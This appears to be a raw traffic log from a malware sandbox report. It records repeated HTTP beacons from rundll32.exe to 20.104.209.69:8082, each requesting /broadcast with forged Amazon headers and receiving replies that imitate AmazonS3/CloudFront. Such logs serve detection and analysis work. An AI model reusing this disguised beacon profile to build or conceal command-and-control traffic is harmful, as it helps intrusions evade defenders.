Jan 8, 2023 16:10:30.961219072 CET	1885	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.2.6	50177	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:31.221981049 CET	1888	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:31.339838982 CET	1888	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	192.168.2.6	50178	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:31.592813015 CET	1891	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:31.712203026 CET	1891	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49746	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:18.778578043 CET	509	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:18.897804976 CET	509	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.2.6	50179	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:31.982777119 CET	1894	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:32.104048014 CET	1895	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	192.168.2.6	50180	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:32.350908995 CET	1897	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:32.470042944 CET	1898	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:23 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.2.6	50181	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:32.734808922 CET	1901	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:32.853147030 CET	1901	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.2.6	50182	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:33.121413946 CET	1904	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:33.239841938 CET	1904	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	192.168.2.6	50183	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:33.499900103 CET	1907	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:33.619813919 CET	1907	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	192.168.2.6	50184	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:33.894335985 CET	1910	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:34.012674093 CET	1911	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.2.6	50185	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:34.282284021 CET	1913	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:34.400418997 CET	1914	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	192.168.2.6	50186	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:34.652098894 CET	1917	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:34.771217108 CET	1917	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.2.6	50187	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:35.044822931 CET	1920	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:35.163454056 CET	1920	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	192.168.2.6	50188	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:35.433705091 CET	1923	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:35.550856113 CET	1923	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	49747	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:19.170880079 CET	512	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:19.289608955 CET	512	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.2.6	50189	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:35.807442904 CET	1926	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:35.925268888 CET	1926	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	192.168.2.6	50190	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:36.179925919 CET	1929	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:36.299494028 CET	1930	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.2.6	50191	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:36.556516886 CET	1932	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:36.675065994 CET	1933	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	192.168.2.6	50192	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:36.939578056 CET	1936	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:37.058928967 CET	1936	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.2.6	50193	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:37.357448101 CET	1939	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:37.476260900 CET	1939	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	192.168.2.6	50194	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:38.018527985 CET	1942	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:38.136358023 CET	1942	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.2.6	50195	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
